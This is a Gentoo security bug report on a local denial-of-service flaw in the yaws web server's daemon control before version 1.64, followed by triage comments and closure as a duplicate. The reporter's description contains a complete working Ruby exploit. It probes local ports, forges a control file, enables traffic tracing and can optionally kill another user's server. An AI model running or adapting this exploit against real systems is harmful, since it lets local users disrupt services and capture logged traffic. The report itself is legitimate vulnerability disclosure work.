Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 159602 - www-servers/yaws: (versions < 1.64) local DoS by an unprivileged user (Daemon control insecurities)
Summary: www-servers/yaws: (versions < 1.64) local DoS by an unprivileged user (Daemon...
Status: RESOLVED DUPLICATE of bug 158958
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: High enhancement (vote)
Assignee: Gentoo Security
URL:
Whiteboard: ~3 [masked]
Keywords:
: 159603 169019 (view as bug list)
Depends on:
Blocks: 165275
  Show dependency tree
 
Reported: 2006-12-31 16:31 UTC by Executioner
Modified: 2007-11-17 20:41 UTC (History)
4 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Executioner 2006-12-31 16:31:53 UTC
Yaws creates a temporary file for the server in /tmp/yaws/default/ctl which is only readable by root or the user who created it.

The ctl file allows a user to control the daemon with a series of commands (but the thing stored in ctl is just the port the daemon controller is listening on)...  Allowing on the admin to kill the daemon or turn on traffic logging (which logs to /var/log/yaws/trace.traffic which has insecure permissions too btw).

Anyhow long story short... a user can guess the port of someone else's daemon and include it in his/her own ctl file...  Thus gaining control of another user's daemon....  I wrote and included an exploit... 



#!/usr/bin/ruby

require 'timeout'

#Assuming /tmp/yaws has already been created
CTL_DIR = "/tmp/yaws/nasty"
CTL_NAME = "ctl"

#Assuming the exploit works some goodies may be found in /var/log/traffic.trace
#if this is enabled
TURN_ON_YAWS_TRAFFIC_TRACE = true

KILL_THE_SERVER = false

@openPorts = []

def find_open_ports()
  netstat = %x{netstat -nat}
  lines = netstat.split(/\n/)
  for line in lines do
    tokens = line.split(/\s+|\:+/)
    @openPorts << tokens[4] if tokens[3] == "127.0.0.1"
  end
end

def create_ctl_dir()
  Dir.mkdir(CTL_DIR) unless File.exists?(CTL_DIR)
end

def create_ctl_file(port)
  begin
    ctl_file = File.new(CTL_DIR + "/" + CTL_NAME, "w")
    ctl_file.print(port)
  rescue
    print "Caught error while creating ctl file\n#{$!}\n"
  ensure
    ctl_file.close unless ctl_file.nil?
  end
end

def attempt_yaws_ctl()
  output = ""
  io = IO.popen("/usr/bin/yaws -I #{CTL_DIR.split(/\//).last} -S")
  Timeout::timeout(5) do
    while io.gets do
      output = $_
    end
  end
  io.close

  print "#{output}"

  if output.nil?
    return false
  elsif !output.scan("Uptime").nil?
    return true
  else
    return false
  end
end

def enable_traffic_trace()
  io = IO.popen("/usr/bin/yaws -I #{CTL_DIR.split(/\//).last} -j traffic")
  while io.gets do
    output = $_
  end
  io.close

  if output.scan("Turning on trace").nil?
    print "Unable to turn on trace\n"
    return false
  elsif output.scan("Trace of traffic is already turned on")
    print "Traffic trace is already on... check /var/log/yaws/traffic.trace\n"
    return true
  else
    print "Trace should be now enabled... check #{output.split.last}\n"
    return true
  end
end

def kill_the_server()
  system("/usr/bin/yaws -I #{CTL_DIR.split(/\//).last} -s")
end

def try_all_ports()
  for port in @openPorts do
    create_ctl_file(port.chomp)
    if attempt_yaws_ctl()
      print "This box looks exploitable\n"
      enable_traffic_trace() if TURN_ON_YAWS_TRAFFIC_TRACE
      kill_the_server() if KILL_THE_SERVER
      return true
    end
  end

  print "This box doesn't look exploitable\n"
  return false
end

print "Yaws daemon control exploit by rootfiend\n"\
      "Tested on Yaws version 1.58 installed from Gentoo's Portage\n\n"

find_open_ports()
create_ctl_dir()
try_all_ports()

File.delete(CTL_DIR + "/" + CTL_NAME) unless !File.exists?(CTL_DIR + "/" + CTL_NAME)
Dir.delete(CTL_DIR)
Comment 1 Executioner 2006-12-31 16:40:56 UTC
*** Bug 159603 has been marked as a duplicate of this bug. ***
Comment 2 Executioner 2007-01-02 14:07:28 UTC
I dropped mkennedy an email.
Comment 3 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2007-01-03 10:19:44 UTC
Thanks,

note you can also add mkennedy@gentoo.org in the Cc: field.

However, i don't understand the impact... since the admin is already able to run a simple "netstat -p" in order to find the relevant port. Unless i missed something... What permissions would you want to have on the file?
Comment 4 Executioner 2007-01-04 10:21:58 UTC
Correct, anyone can run netstat -p or whatever.  The problem is, the daemon requires no authentication to kill it or turn on trace.  If you know what port it's listening on a user can simply create his or her own ctl file and issue a command like "/usr/bin/yaws -I fakectl -s" and stop the daemon.  The default ctl file has perms of 600 and only contains the port the controller is listening on (like its some kind of secret).  My recommendation would be to add a passphrase to the ctl file so "johnnyuser" would have to somehow figure out the passphrase in order to control the daemon.

In summary, as it stands right now, any user can stop the yaws server at anytime... and thats a problem.  

mkennedy: I understand this probably just needs to go upstream.  
Comment 5 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2007-01-04 13:11:23 UTC
I understand that the file does have secure permissions (what is the problem with the admin reading that file? the admin can already do whatever he wants on the box), but the listening port can be guessed by a local user with "netstat -l". A little bit like bind and rndc, but the client on the rndc socket must have the secret shared key in the configuration file.

I'll try to have a look at it this week-end but i have no time now, sorry. Maybe a member of the auditing team could have a look before that.
Comment 6 Claes Wikstrom 2007-01-07 19:23:27 UTC
Howdy,

I'm the main developer for Yaws. The particular bug you are
discussing was fixed in release 1.64 in July this year.

Comment 7 Executioner 2007-01-07 19:38:46 UTC
Excellent, thanks klacke.  So it looks like the maintainer just needs to upgrade yaws to something > 1.64
Comment 8 Claes Wikstrom 2007-01-07 20:31:27 UTC
(In reply to comment #7)
> Excellent, thanks klacke.  So it looks like the maintainer just needs to
> upgrade yaws to something > 1.64
> 

correct,
Comment 9 Jakub Moc (RETIRED) gentoo-dev 2007-02-04 14:03:42 UTC
mkennedy retired, suggest sending a call for maintainer to -dev ML. :)
Comment 10 Executioner 2007-02-06 08:33:32 UTC
ML: I think Yaws needs a new maintainer now that mkennedy is gone.
Comment 11 Alexandre Buisse (RETIRED) gentoo-dev 2007-02-06 09:56:48 UTC
Hum, I believe that jakub meant: "send an email to the gentoo-dev mailing list", not "contact the ml team". We deal with caml/sml related packages, and this is erlang.
Comment 12 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2007-02-10 19:21:15 UTC
-dev mailed
Comment 13 Jakub Moc (RETIRED) gentoo-dev 2007-03-02 16:47:23 UTC
*** Bug 169019 has been marked as a duplicate of this bug. ***
Comment 14 Raphael Marichez (Falco) (RETIRED) gentoo-dev 2007-03-03 13:45:05 UTC
Merging bugs

*** This bug has been marked as a duplicate of bug 158958 ***